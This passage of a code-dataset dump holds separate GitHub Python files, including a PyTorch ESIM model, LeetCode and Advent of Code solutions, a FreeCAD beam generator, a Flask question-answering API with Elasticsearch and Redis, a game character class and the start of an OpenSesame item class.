colours","repo_name":"hszumila/pyAnalyzer","sub_path":"header.py","file_name":"header.py","file_ext":"py","file_size_in_byte":850,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"47"} +{"seq_id":"1511269992","text":"import torch\nimport torch.nn as nn\nimport torch.nn.functional as F\n\nclass ESIM(nn.Module):\n def __init__(self, args, weight):\n super(ESIM, self).__init__()\n self.embedding = nn.Embedding(args.vocab_size+1, args.embed_size)\n self.embedding.weight.data.copy_(weight)\n # 是否将embedding定住\n self.embedding.weight.requires_grad = True\n # self.bn_embeds = nn.BatchNorm1d(self.embedding)\n self.lstm1 = nn.LSTM(args.embed_size, args.hidden_size, batch_first=True, bidirectional=args.bidirectional)\n self.lstm2 = nn.LSTM(args.hidden_size * 8, args.hidden_size, batch_first=True, bidirectional=args.bidirectional)\n\n self.fc = nn.Sequential(\n nn.BatchNorm1d(args.hidden_size * 8),\n nn.Linear(args.hidden_size * 8, 2),\n nn.ELU(inplace=True),\n nn.BatchNorm1d(2),\n nn.Dropout(args.dropout),\n nn.Linear(2, 2),\n nn.ELU(inplace=True),\n nn.BatchNorm1d(2),\n nn.Dropout(args.dropout),\n nn.Linear(2, args.classification_num),\n nn.Softmax(dim=-1)\n )\n\n def soft_attention_align(self, x1, x2):\n '''\n x1: batch_size * seq_len * dim\n x2: batch_size * seq_len * dim\n '''\n # attention: batch_size * seq_len * seq_len\n # 求解eij\n attention = torch.matmul(x1, x2.transpose(1, 2))\n # print(\"attention.shape:\",attention.shape)\n # mask1 = mask1.float().masked_fill_(mask1, float('-inf'))\n # mask2 = mask2.float().masked_fill_(mask2, float('-inf'))\n\n # weight: batch_size * seq_len * seq_len\n # weight1 = F.softmax(attention + mask2.unsqueeze(1), dim=-1)\n weight1 = F.softmax(attention, dim=-1)\n x1_align = torch.matmul(weight1, x2)\n # weight2 = F.softmax(attention.transpose(1, 2) + mask1.unsqueeze(1), dim=-1)\n weight2 = F.softmax(attention.transpose(1, 2), dim=-1)\n x2_align = torch.matmul(weight2, x1)\n # print(\"weight1.shape:\",weight1.shape)\n # print(\"weight2.shape:\",weight2.shape)\n # print(\"x1_align.shape:\",x1_align.shape)\n # print(\"x2_align.shape:\",x2_align.shape)\n # x_align: batch_size * seq_len * hidden_size\n # 返回波浪形a,b\n return x1_align, x2_align\n\n def submul(self, x1, x2):\n mul = x1 * x2\n sub = x1 - x2\n return torch.cat([sub, mul], -1)\n\n def apply_multiple(self, x):\n # input: batch_size * seq_len * (2 * hidden_size)\n p1 = F.avg_pool1d(x.transpose(1, 2), x.size(1)).squeeze(-1)\n p2 = F.max_pool1d(x.transpose(1, 2), x.size(1)).squeeze(-1)\n # output: batch_size * (4 * hidden_size)\n return torch.cat([p1, p2], 1)\n\n def forward(self, x1, x2):\n # batch_size * seq_len\n sent1, sent2 = x1, x2\n\n # embeds: batch_size * seq_len => batch_size * seq_len * dim\n # x1 = self.bn_embeds(self.embeds(sent1).transpose(1, 2).contiguous()).transpose(1, 2)\n # x2 = self.bn_embeds(self.embeds(sent2).transpose(1, 2).contiguous()).transpose(1, 2)\n x1 = self.embedding(sent1)\n # print(\"x1.shape:\",x1.shape)\n x2 = self.embedding(sent2)\n # print(\"x2.shape:\",x2.shape)\n # batch_size * seq_len * dim => batch_size * seq_len * hidden_size\n # 杠a,b\n o1, _ = self.lstm1(x1)\n o2, _ = self.lstm1(x2)\n # print(\"o1.shape:\",o1.shape)\n # print(\"o1.shape:\",o2.shape)\n # Attention\n # batch_size * seq_len * hidden_size\n q1_align, q2_align = self.soft_attention_align(o1, o2)\n # print(\"q1_align.shape:\",q1_align.shape)\n # print(\"q2_align.shape:\",q2_align.shape)\n # Compose\n # batch_size * seq_len * (8 * hidden_size)\n q1_combined = torch.cat([o1, q1_align, self.submul(o1, q1_align)], -1)\n q2_combined = torch.cat([o2, q2_align, self.submul(o2, q2_align)], -1)\n # print(\"q1_combined.shape:\",q1_combined.shape)\n # print(\"q2_combined.shape:\",q2_combined.shape)\n # batch_size * seq_len * (2 * hidden_size)\n q1_compose, _ = self.lstm2(q1_combined)\n q2_compose, _ = self.lstm2(q2_combined)\n # print(\"q1_compose.shape:\",q1_compose.shape)\n # print(\"q2_compose.shape:\",q2_compose.shape)\n # Aggregate\n # input: batch_size * seq_len * (2 * hidden_size)\n # output: batch_size * (4 * hidden_size)\n q1_rep = self.apply_multiple(q1_compose)\n q2_rep = self.apply_multiple(q2_compose)\n # print(\"q1_rep.shape:\",q1_rep.shape)\n # print(\"q2_rep.shape:\",q2_rep.shape)\n # Classifier\n x = torch.cat([q1_rep, q2_rep], -1)\n similarity = self.fc(x)\n return similarity","repo_name":"renhongjie/NLP_process","sub_path":"ESIM/model.py","file_name":"model.py","file_ext":"py","file_size_in_byte":4738,"program_lang":"python","lang":"en","doc_type":"code","stars":106,"dataset":"github-code","pt":"47"} +{"seq_id":"32045500401","text":"from typing import Optional\nimport unittest\n\n\nclass TreeNode:\n def __init__(self, val=0, left=None, right=None):\n self.val = val\n self.left = left\n self.right = right\n\n\nclass Solution:\n def isSameTree(self, p: Optional[TreeNode], q: Optional[TreeNode]) -> bool:\n out = True\n\n def bfs(root_p=p, root_q=q):\n nonlocal out\n if root_p or root_q:\n if root_p is None or root_q is None:\n out = False\n return\n\n if root_p is not None and root_q is not None:\n if root_p.val != root_q.val:\n out = False\n return\n bfs(root_p.left, root_q.left)\n bfs(root_p.right, root_q.right)\n\n bfs()\n return out\n\n\nclass TestFunctions(unittest.TestCase):\n def __init__(self, methodName: str = \"runTest\") -> None:\n super().__init__(methodName)\n self.solution = Solution()\n\n def test_run_1(self):\n # test case\n # tree = [3,9,20,null,null,15,7]\n tree_1 = TreeNode(\n 3,\n TreeNode(9,\n TreeNode(1),\n TreeNode(10)\n ),\n TreeNode(20,\n TreeNode(15),\n TreeNode(7),\n ),\n )\n tree_2 = TreeNode(\n 3,\n TreeNode(9,\n TreeNode(1),\n TreeNode(10)\n ),\n TreeNode(20,\n TreeNode(15),\n TreeNode(7),\n ),\n )\n expect = True\n self.assertEqual(\n self.solution.isSameTree(tree_1, tree_2),\n expect,\n \"incorrect, expect is \" + str(expect)\n )\n\n\nif __name__ == \"__main__\":\n suite = unittest.TestLoader().loadTestsFromTestCase(TestFunctions)\n testResult = unittest.TextTestRunner(verbosity=2).run(suite)\n","repo_name":"mrneodiablo/leetcode","sub_path":"easy/100_same_tree.py","file_name":"100_same_tree.py","file_ext":"py","file_size_in_byte":2013,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"36119607562","text":"import Part\nfrom FreeCAD import Vector\nfrom Part import makeCircle, makeLine\n\n\n# ************************************************************************************************\n\"\"\"\n# to test copy the def in python konsole and run the following code\nmy_test_params = {\n 'type' : 'ZNP100',\n 'h' : 100,\n 'c1' : 55,\n 'tw' : 6.5,\n 'tf' : 8,\n 'l' : 500,\n 'name' : 'MyTestProfile',\n 'arch' : False,\n}\nzbeam(my_test_params, App.ActiveDocument)\n\n\"\"\"\n\n\ndef zbeam(params, document):\n # key = params['type']\n h = params[\"h\"]\n c1 = params[\"c1\"]\n tw = params[\"tw\"]\n tf = params[\"tf\"]\n le = params[\"l\"]\n name = params[\"name\"]\n\n rf = tf / 2.0\n rw = tw\n\n # points, starting at the left upper corner, going counter-clockwise\n V1 = Vector(-0.5 * tw, 0, 0)\n V2 = Vector(-0.5 * tw + c1, 0, 0)\n V3 = Vector(-0.5 * tw + c1, tf - rf, 0)\n V4 = Vector(-0.5 * tw + c1 - rf, tf, 0)\n V5 = Vector(0.5 * tw + rw, tf, 0)\n V6 = Vector(0.5 * tw, tf + rw, 0)\n V7 = Vector(0.5 * tw, h, 0)\n V8 = Vector(0.5 * tw - c1, h, 0)\n V9 = Vector(0.5 * tw - c1, h - tf + rf, 0)\n V10 = Vector(0.5 * tw - c1 + rf, h - tf, 0)\n V11 = Vector(-0.5 * tw - rw, h - tf, 0)\n V12 = Vector(-0.5 * tw, h - tf - rw, 0)\n\n # circle center of the fillets, starting right bottom, going counter-clockwise\n Vc1 = Vector(-0.5 * tw + c1 - rf, tf - rf, 0)\n Vc2 = Vector(0.5 * tw + rw, tf + rw, 0)\n Vc3 = Vector(0.5 * tw - c1 + rf, h - tf + rf, 0)\n Vc4 = Vector(-0.5 * tw - rw, h - tf - rw, 0)\n normal = Vector(0, 0, 1)\n\n # edges\n E1 = makeLine(V1, V2)\n E2 = makeLine(V2, V3)\n E3 = makeCircle(rf, Vc1, normal, 0, 90)\n E4 = makeLine(V4, V5)\n E5 = makeCircle(rw, Vc2, normal, 180, 270)\n E6 = makeLine(V6, V7)\n E7 = makeLine(V7, V8)\n E8 = makeLine(V8, V9)\n E9 = makeCircle(rf, Vc3, normal, 180, 270)\n E10 = makeLine(V10, V11)\n E11 = makeCircle(rw, Vc4, normal, 0, 90)\n E12 = makeLine(V12, V1)\n\n # putting the segments together make a wire, a face and extrude it\n W = Part.Wire([E1, E2, E3, E4, E5, E6, E7, E8, E9, E10, E11, E12])\n F = Part.Face(W)\n\n if params[\"arch\"]:\n from ArchStructure import makeStructure\n\n part = makeStructure(name=name)\n\n prof = document.addObject(\"Part::Feature\", \"Profile\")\n prof.Shape = F\n part.Base = prof\n\n part.Height = le\n else:\n part = document.addObject(\"Part::Feature\", \"BOLTS_part\")\n part.Label = name\n\n beam = F.extrude(Vector(0, 0, le))\n part.Shape = beam\n","repo_name":"boltsparts/BOLTS_archive","sub_path":"freecad/profile_z/profile_z.py","file_name":"profile_z.py","file_ext":"py","file_size_in_byte":2552,"program_lang":"python","lang":"en","doc_type":"code","stars":258,"dataset":"github-code","pt":"47"} +{"seq_id":"34507958622","text":"class Solution:\r\n # @param grid: array of string\r\n # @return an integer\r\n def minSideLengthSquareFrame(self, grid):\r\n n, m = len(grid), len(grid[0])\r\n x_min, y_min = n, m\r\n\r\n ## Smallest square frame exists of sidelength 3\r\n ## It is not possible to draw a square frame for width or length less than 3\r\n if n<3 or m<3:\r\n return 1\r\n\r\n x_max, y_max = -1, -1\r\n marked_cells = []\r\n for i in range(n):\r\n for j in range(m):\r\n if grid[i][j] == 'X':\r\n x_min = min(i, x_min)\r\n y_min = min(j, y_min)\r\n x_max = max(i, x_max)\r\n y_max = max(j, y_max)\r\n marked_cells.append((i, j))\r\n \r\n ## If there is no marked cell, return 1 \"Impossible\"\r\n if len(marked_cells)==0:\r\n return 1\r\n\r\n ## If there is only one marked cell present \r\n if x_max == x_min and y_max == y_min:\r\n i_min = max(x_min-2, 0)\r\n j_min = max(y_min-2, 0)\r\n for i in range(i_min, x_max+1):\r\n for j in range(j_min, y_max+1):\r\n xcorner_point = i + 2\r\n ycorner_point = j + 2\r\n if xcorner_point >= n or ycorner_point >= m:\r\n continue\r\n\r\n if (x_min == i or x_min == xcorner_point) and (y_min >= j and y_min <= ycorner_point):\r\n return 3\r\n if (y_min == j or y_min == ycorner_point) and (x_min >= i and x_min <= xcorner_point):\r\n return 3\r\n return 1\r\n \r\n \r\n # For all the marked cells are present in either veritical or horizontal straight line\r\n if x_max == x_min or y_max == y_min:\r\n const = max(2, y_max - y_min, x_max - x_min)\r\n if x_min == x_max:\r\n if (x_min + const) < n:\r\n return const + 1\r\n elif (x_min - const) >= 0:\r\n return const + 1 \r\n else:\r\n if (y_min + const) < m:\r\n return const + 1\r\n elif (y_min - const) >= 0:\r\n return const + 1\r\n return 1\r\n \r\n possible_sidelength = max(x_max-x_min, y_max-y_min, 2) + 1\r\n \r\n ## Assuming the cells are marked as 'X' on the edges of square frame\r\n ## There cannot be more than 4*(length of square frame - 1) for a valid\r\n ## square frame\r\n if len(marked_cells) > 4*(possible_sidelength-1):\r\n return 1\r\n \r\n ## For other cases - where points are present on two or more edges of the square frame\r\n if x_max - x_min > y_max - y_min:\r\n i_min, i_max = x_min, x_max\r\n j_min = max(y_max - possible_sidelength + 1 , 0)\r\n j_max = min(y_min + possible_sidelength - 1, m-1)\r\n elif x_max - x_min < y_max - y_min:\r\n j_min, j_max = y_min, y_max\r\n i_min = max(x_max - possible_sidelength + 1, 0)\r\n i_max = min(x_min + possible_sidelength - 1, n-1)\r\n else:\r\n i_min, i_max, j_min, j_max = x_min, x_max, y_min, y_max\r\n\r\n \r\n ## Sliding window to check the valid window for the possible length\r\n ## Although there are 3 loops here, but the loop for i or j runs only one time\r\n ## depending on which dimension is fixed (either length or width)\r\n ## So, TC - O(m*n)\r\n ## SC - O(m+n)\r\n for i in range(i_min, i_max - possible_sidelength + 2):\r\n for j in range(j_min, j_max - possible_sidelength + 2):\r\n xcorner_point = i + possible_sidelength - 1\r\n ycorner_point = j + possible_sidelength - 1\r\n if xcorner_point >= n or ycorner_point >= m:\r\n continue\r\n\r\n flag = True\r\n for cell in marked_cells:\r\n row, col = cell\r\n if (row >= i_min and row<= xcorner_point) and (col==j or col==ycorner_point):\r\n flag = True\r\n elif (col >= j_min and col<= ycorner_point) and (row==i or row==xcorner_point):\r\n flag = True\r\n else:\r\n flag = False\r\n \r\n ## if a point is on the assumed square frame\r\n if not flag:\r\n break\r\n\r\n if flag:\r\n return possible_sidelength\r\n \r\n return 1\r\n \r\n\r\nif __name__ == \"__main__\": \r\n obj = Solution()\r\n with open('input2.txt', 'r') as file:\r\n # Read the first line to get the number of test cases\r\n num_test_cases = int(file.readline().strip())\r\n\r\n # Read the test cases one by one\r\n for n in range(num_test_cases):\r\n line = file.readline().strip()\r\n n, m = list(map(int, line.split()))\r\n grid = []\r\n while n>0:\r\n line = file.readline().strip()\r\n grid.append(line)\r\n n -= 1\r\n\r\n ans = obj.minSideLengthSquareFrame(grid)\r\n print(grid)\r\n print(ans)\r\n ","repo_name":"rrahul2203/Assignment","sub_path":"problem2.py","file_name":"problem2.py","file_ext":"py","file_size_in_byte":5259,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"40362006702","text":"\"\"\"Contains the Recluse Character class\"\"\"\n\nimport json \nimport random\nfrom botc import Outsider, Character, Minion, Demon, NonRecurringAction\nfrom ._utils import TroubleBrewing, TBRole\nimport globvars\n\nwith open('botc/gamemodes/troublebrewing/character_text.json') as json_file: \n character_text = json.load(json_file)[TBRole.recluse.value.lower()]\n\n\nclass Recluse(Outsider, TroubleBrewing, Character, NonRecurringAction):\n \"\"\"Recluse: You might register as evil & as a Minion or Demon, even if dead.\n\n ===== RECLUSE ===== \n\n true_self = recluse\n ego_self = recluse\n social_self = [minion] / [demon] / recluse *ephemeral\n\n commands:\n - None\n\n initialize setup? -> NO\n initialize role? -> NO\n\n ----- First night\n START:\n override first night instruction? -> NO # default is to send instruction string only\n\n ----- Regular night\n START:\n override regular night instruction? -> NO # default is to send nothing\n \"\"\"\n\n def __init__(self):\n \n Character.__init__(self)\n TroubleBrewing.__init__(self)\n Outsider.__init__(self)\n\n self._desc_string = character_text[\"description\"]\n self._examp_string = character_text[\"examples\"]\n self._instr_string = character_text[\"instruction\"]\n self._lore_string = character_text[\"lore\"]\n self._brief_string = character_text[\"brief\"]\n self._action = character_text[\"action\"]\n \n self._art_link = \"https://bloodontheclocktower.com/wiki/images/b/bb/Recluse_Token.png\"\n self._art_link_cropped = \"https://imgur.com/9VMElqP.png\"\n self._wiki_link = \"https://bloodontheclocktower.com/wiki/Recluse\"\n\n self._role_enum = TBRole.recluse\n self._emoji = \"<:tbrecluse:739317350670794794>\"\n\n def create_n1_instr_str(self):\n \"\"\"Create the instruction field on the opening dm card\"\"\"\n\n # First line is the character instruction string\n msg = f\"{self.emoji} {self.instruction}\"\n addendum = character_text[\"n1_addendum\"]\n \n # Some characters have a line of addendum\n if addendum:\n with open(\"botutils/bot_text.json\") as json_file:\n bot_text = json.load(json_file)\n scroll_emoji = bot_text[\"esthetics\"][\"scroll\"]\n msg += f\"\\n{scroll_emoji} {addendum}\"\n \n return msg\n \n def set_new_social_self(self, player):\n \"\"\"Social self: what the other players think he is.\n The recluse may register as a demon, a minion, or as recluse.\n \"\"\"\n possibilities = [role_class() for role_class in TroubleBrewing.__subclasses__()\n if issubclass(role_class, Demon) or issubclass(role_class, Minion)]\n possibilities.append(Recluse())\n chosen = random.choice(possibilities)\n self._social_role = chosen\n globvars.logging.info(f\">>> Recluse [social_self] Registered as {chosen}.\")\n","repo_name":"Xinverse/Blood-on-the-Clocktower-Storyteller-Discord-Bot","sub_path":"botc/gamemodes/troublebrewing/Recluse.py","file_name":"Recluse.py","file_ext":"py","file_size_in_byte":2938,"program_lang":"python","lang":"en","doc_type":"code","stars":13,"dataset":"github-code","pt":"47"} +{"seq_id":"7555740401","text":"import json\nimport os\nfrom pprint import pprint\n\nimport redis\nfrom deeppavlov import build_model, configs\nfrom flask import Flask, jsonify, request\nfrom elasticsearch import Elasticsearch\nfrom bert_serving.client import BertClient\nfrom flask_cors import CORS\nfrom glob import glob\n\napp = Flask(__name__)\napp.config.from_object(__name__)\nredis_db = redis.StrictRedis(host=\"localhost\", port=6379, db=0)\n\nCORS(app, resources={r'/*': {'origin': '*'}})\n\nmodel = build_model(configs.squad.squad_bert, download=True)\n\n\ndef find_context(context_id):\n for f_name in glob('./topics/*.json'):\n name = os.path.basename(f_name)\n if context_id.split('_')[0] in name:\n with open(f_name, 'r') as f:\n data = json.load(f)\n for d in data.get('data'):\n if d.get('id') == context_id:\n return d.get('context')\n return ''\n\n\ndef create_query_vector(query):\n return BertClient().encode([query])[0]\n\n\ndef script_query(query_vector):\n return {\n \"script_score\": {\n \"query\": {\n \"match_all\": {}\n },\n \"script\": {\n \"source\": \"cosineSimilarity(params.query_vector, 'text_vector') + 1.0\",\n \"params\": {\n \"query_vector\": query_vector.tolist()\n }\n }\n }\n }\n\n\ndef search(size, query):\n client = Elasticsearch([{'host': 'localhost', 'port': 9200}])\n return client.search(\n index=\"squad2.0\",\n body={\n \"size\": size,\n \"query\": query,\n # \"_source\": {\"includes\": [\"context_id, question\"]}\n }\n )\n\n\n@app.route('/qna')\ndef qna():\n query = request.args.get('q')\n pprint(f\"USER INPUT QUESTION: {query}\")\n size = request.args.get('limit')\n pprint(f\"LIMIT SEARCH RESULT: {size}\")\n search_result = search(size, script_query(create_query_vector(query)))\n\n answers = []\n hits = (search_result.get(\"hits\").get(\"hits\"))\n pprint(f\"HITS: {hits}\")\n for hit in hits:\n score = hit.get(\"_score\")\n source = hit.get(\"_source\")\n is_impossible = source.get(\"is_impossible\")\n question = source.get(\"question\")\n context_id = source.get(\"context_id\")\n context = find_context(context_id)\n\n # get answer from redis\n print(f\"MATCHING QUESTION: {question}\")\n if len(redis_db.hgetall(question)) != 0:\n pprint(\"FOUND ANSWER FROM CACHED\")\n answer = {\n \"score\": redis_db.hget(question, \"score\").decode(\"utf-8\"),\n \"context\": redis_db.hget(question, \"context\").decode(\"utf-8\"),\n \"question\": redis_db.hget(question, \"question\").decode(\"utf-8\"),\n \"answer\": redis_db.hget(question, \"answer\").decode(\"utf-8\"),\n \"is_impossible\": redis_db.hget(question, \"is_impossible\").decode(\"utf-8\")\n }\n else:\n ans = \"\"\n if not is_impossible:\n result = model([context], [question])\n ans = result[0][0]\n answer = {\n \"score\": score,\n \"context\": context,\n \"question\": question,\n \"answer\": ans,\n \"is_impossible\": is_impossible\n }\n pprint(f\"FOUND ANSWER: {ans}\")\n # cache result having highest score = 2.0\n if score >= 2.0:\n redis_db.hset(question, \"score\", score)\n redis_db.hset(question, \"context\", context)\n redis_db.hset(question, \"question\", question)\n redis_db.hset(question, \"answer\", ans)\n redis_db.hset(question, \"is_impossible\", \"true\" if is_impossible else \"false\")\n answers.append(answer)\n return jsonify(answers)\n\n\nif __name__ == '__main__':\n redis_db.flushall()\n app.run(host='0.0.0.0', port=5000)\n","repo_name":"khoavq/BertSquadSearch","sub_path":"api/app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":3898,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"47"} +{"seq_id":"72799005582","text":"import time\n\n#\n## class to handle simple toggling of a boolean every \"delay\" number of seconds\n#\n\nclass TimedToggle(object):\n # inti variables\n def __init__(self, delay):\n self.lastToggleTime = time.time()\n self.toggleDelay = delay\n self.toggleState = True\n self.toggleSinceLast = False\n \n #\n # get the current toggle state after first updating state if it's time to do so\n # \n def getToggleStatus(self):\n elapsed = time.time() - self.lastToggleTime\n if elapsed > self.toggleDelay:\n self.toggleState = not self.toggleState\n self.lastToggleTime = time.time()\n self.toggleSinceLast = True\n return self.toggleState\n \n #\n # method so caller can check if state just changed (since last call to getToggleStatus)\n # if it did, reset self.toggleSinceLast back to False\n # return: value of self.toggleSinceLast\n # \n def getToggleSinceLast(self):\n tmp = self.toggleSinceLast # save current state to return\n if self.toggleSinceLast == True: # change state if needed for next time\n self.toggleSinceLast = False\n return tmp # return value of self.toggleSinceLast before we changed it\n\n\n","repo_name":"cardcomm/cgminerLCDStats","sub_path":"TimedToggle.py","file_name":"TimedToggle.py","file_ext":"py","file_size_in_byte":1231,"program_lang":"python","lang":"en","doc_type":"code","stars":9,"dataset":"github-code","pt":"47"} +{"seq_id":"39824003937","text":"import collections\n\n\nclass Solution(object):\n def areSentencesSimilarTwo(self, words1, words2, pairs):\n if len(words1) != len(words2): return False\n\n # 1. Compose graph\n graph = collections.defaultdict(list)\n for u, v in pairs:\n graph[u].append(v)\n graph[v].append(u)\n\n # stores vertices and component number the vertex belongs to\n components = {}\n\n # 2. Find connected components\n # this function fills components dictionary\n def dfs(node, cmpNum):\n components[node] = cmpNum\n for child in graph[node]:\n if child in components:\n continue\n dfs(child, cmpNum)\n\n cmp = 0 # component number\n for node in graph:\n if node not in components:\n dfs(node, cmp)\n cmp += 1\n\n # 3. Check if two words are in the same component\n for a, b in zip(words1, words2):\n if a == b:\n continue\n # in case of one or two words not in components\n # they will have defferent negative default values so we always return False in this case\n components.setdefault(a, -1)\n components.setdefault(b, -2)\n if components[a] != components[b]:\n return False\n return True","repo_name":"arsamigullin/problem_solving_python","sub_path":"learning_material/GraphAlgorithms/CC/ConnectedComponents.py","file_name":"ConnectedComponents.py","file_ext":"py","file_size_in_byte":1368,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"20674340412","text":"name=\"\"\nfor i in range(1,4):\n print(i,\"人目\")\n name=input(\"名前を教えて\")\nwaist=int(input(\"腹囲は?\") )\nage=int(input(\"年齢は?\"))\nprint(name,\"さんは胸囲\",waist,\"cmで年齢は\",age,\"才ですね\")\n\nif age>40:\n print(\"年齢は40歳以上である\")\nelse:\n print(\"40歳未満である\")","repo_name":"aiharamomoka/xbp","sub_path":"de12/python/work5.py","file_name":"work5.py","file_ext":"py","file_size_in_byte":319,"program_lang":"python","lang":"ja","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"23295414682","text":"import torch\r\nimport cv2\r\nimport numpy as np\r\n\r\n# 挂载GPU\r\ndef load_GPU(*args):\r\n if torch.cuda.is_available():\r\n if len(args)==1:\r\n args[0].cuda()\r\n return None\r\n inputs, labels = args[0].cuda(), args[1].cuda()\r\n return inputs,labels\r\n\r\n\r\ndef affinetransformation(image):\r\n # 获取crop区域\r\n result3 = image.copy()\r\n\r\n img = cv2.GaussianBlur(image,(3,3),0)\r\n gray = cv2.cvtColor(img,cv2.COLOR_BGR2GRAY)\r\n\r\n edges = cv2.Canny(gray,50,150,apertureSize = 3)\r\n cv2.imwrite(\"canny.jpg\", edges)\r\n # 上右,下右\r\n # area1\r\n src1 = np.float32([ (713, 872), (1248, 628),(991, 1062),(1565, 761)])\r\n dst1 = np.float32([[0, 0],[852, 0], [0, 434], [852, 434]])\r\n m1 = cv2.getPerspectiveTransform(src1, dst1)\r\n result1= cv2.warpPerspective(result3, m1, (852, 434))\r\n cv2.imshow(\"result1\", result1)\r\n\r\n # area2\r\n src2 = np.float32([(1385, 381),(1683, 272),(1510, 528),(1856, 331)])\r\n dst2 = np.float32([[0, 0],[471, 0], [0, 256], [471, 256]])\r\n m2 = cv2.getPerspectiveTransform(src2, dst2)\r\n result2= cv2.warpPerspective(result3, m2, (471, 256))\r\n cv2.imshow(\"result2\", result2)\r\n return result1,result2","repo_name":"cszr-liuxiaobo/VisualAnalyticsPlatform","sub_path":"PatchAnalyse/myutils.py","file_name":"myutils.py","file_ext":"py","file_size_in_byte":1202,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"353940596","text":"# A Fibonacci sequence is a sequence of numbers where each successive number is the sum of \n# the previous two. The calssic Fibonacci sequence begins: 1, 1, 2, 3, 5, 8, 13, ... Write a program\n# that computes the nth Fibonacci number where n is a value input by the user.\n\ndef main():\n\n print(\"This program computes the nth Fibonacci number.\")\n\n n = int(input(\"Enter the value of n: \"))\n current = 1\n previous = 0\n temp = 0\n\n for i in range(n-1):\n temp = current\n current = current + previous\n previous = temp\n\n print(\"The Fibonacci number at the\", n, \"th place is\", current)\n\nmain()\n","repo_name":"kaye1111/python_programming_john_zelle_exercises","sub_path":"Chapter 3 Exercises/Exerc16.py","file_name":"Exerc16.py","file_ext":"py","file_size_in_byte":630,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"33083735433","text":"import copy\n\ndef input_data():\n with open(\"./data/input.txt\") as file:\n return [i.strip() for i in file.readlines()]\n \ndef test_data(): \n with open(\"./data/test.txt\") as file:\n return [i.strip() for i in file.readlines()]\n\ndef result_challenge_1():\n with open(\"./data/result_test_1.txt\") as file:\n return int(file.read())\n\ndef result_challenge_2():\n with open(\"./data/result_test_2.txt\") as file:\n return int(file.read())\n\n\ndef extract_numbers_and_boards(input):\n numbers = [int(i) for i in input[0].split(',')]\n bingo_fields = []\n for i in range(2, len(input), 6):\n bingo_fields_temp = [input[i], input[i+1], input[i+2], input[i+3], input[i+4]]\n rows = []\n for row in range(0,5):\n input_columns = bingo_fields_temp[row].split()\n columns = []\n for column in range(0,len(input_columns)):\n columns.append((int(input_columns[column]), False))\n rows.append(columns)\n bingo_fields.append(rows)\n return numbers, bingo_fields\n\ndef mark_number_in_bingo(number, board):\n for row in range(len(board)):\n for column in range(len(board[row])):\n if board[row][column][0] == number:\n board[row][column] = (number, True)\n return board\n\ndef check_for_solution(board):\n for row in range(len(board)):\n result = True\n for column in range(len(board[row])):\n if result:\n result = board[row][column][1]\n if result:\n return True\n\n for column in range(5):\n result = True\n for row in range(5):\n if result:\n result = board[row][column][1]\n if result:\n return True\n\n return False\n\ndef get_sum_of_missing_numbers(board):\n sum = 0\n for row in range(len(board)):\n for column in range(len(board[row])):\n if board[row][column][1] == False:\n sum += board[row][column][0]\n\n return sum\n \ndef pretty_print_bingo(board):\n for row in board:\n print(row)\n print(\" \")\n\ndef part_1(input):\n numbers, bingo_fields = extract_numbers_and_boards(input)\n for number in numbers:\n for board in bingo_fields:\n board = mark_number_in_bingo(number, board)\n if check_for_solution(board):\n return number * get_sum_of_missing_numbers(board)\n return 0\n\ndef part_2(input):\n numbers, bingo_fields = extract_numbers_and_boards(input)\n bingos_done = 0\n for number in numbers:\n for board in bingo_fields:\n if check_for_solution(board):\n continue\n board = mark_number_in_bingo(number, board)\n if check_for_solution(board):\n bingos_done += 1\n if bingos_done == len(bingo_fields):\n return number * get_sum_of_missing_numbers(board)\n return 0\n\nif __name__ == \"__main__\":\n if part_1(test_data()) == result_challenge_1():\n print(\"Challenge 1: Success ! 🥳\")\n print(f\"Final Solution for Challenge 1: {part_1(input_data())}\")\n else:\n print(\"Challenge 1: Implementation is wrong! 😔\")\n\n if part_2(test_data()) == result_challenge_2():\n print(\"Challenge 2: Success ! 🥳\")\n print(f\"Final Solution for Challenge 1: {part_2(input_data())}\")\n else:\n print(\"Challenge 2: Implementation is wrong! 😔\")","repo_name":"Muehli25/adventofcode","sub_path":"2021/4/challenge.py","file_name":"challenge.py","file_ext":"py","file_size_in_byte":3420,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"7870941238","text":"# -*- coding:utf-8 -*-\n\n\"\"\"\nThis file is part of OpenSesame.\n\nOpenSesame is free software: you can redistribute it and/or modify\nit under the terms of the GNU General Public License as published by\nthe Free Software Foundation, either version 3 of the License, or\n(at your option) any later version.\n\nOpenSesame is distributed in the hope that it will be useful,\nbut WITHOUT ANY WARRANTY; without even the implied warranty of\nMERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\nGNU General Public License for more details.\n\nYou should have received a copy of the GNU General Public License\nalong with OpenSesame. If not, see <http://www.gnu.org/licenses/>.\n\"\"\"\nfrom libopensesame.py3compat import *\nfrom libopensesame.var_store import var_store\nimport warnings\nfrom libopensesame.misc import snake_case\nfrom libopensesame.exceptions import InvalidOpenSesameScript, InvalidValue, \\\n IncompatibilityError\nfrom libopensesame.oslogging import oslogger\n\n\nclass Item:\n \"\"\"Abstract class that serves as the basis for all OpenSesame items.\n \n Parameters\n ----------\n name: str\n The name of the item\n experiment: Experiment\n string: str or None, optional\n A definition string\n \"\"\"\n \n encoding = u'utf-8'\n var = None\n\n def __init__(self, name, experiment, string=None):\n if self.var is None:\n self.var = var_store(self, parent=experiment.var)\n self.name = name\n self.experiment = experiment\n self.debug = oslogger.debug_mode\n self.count = 0\n self._get_lock = None\n # Deduce item_type from class name. This takes into account that the\n # class name can be CamelCase and may prefixed by Qt (QtCamelCase),\n # whereas the item_type should always be snake_case without the qt \n # prefix.\n prefix = self.experiment.item_prefix()\n self.item_type = self.__class__.__name__\n if self.item_type.lower().startswith(prefix.lower()):\n self.item_type = self.item_type[len(prefix):]\n self.item_type = snake_case(self.item_type)\n if not 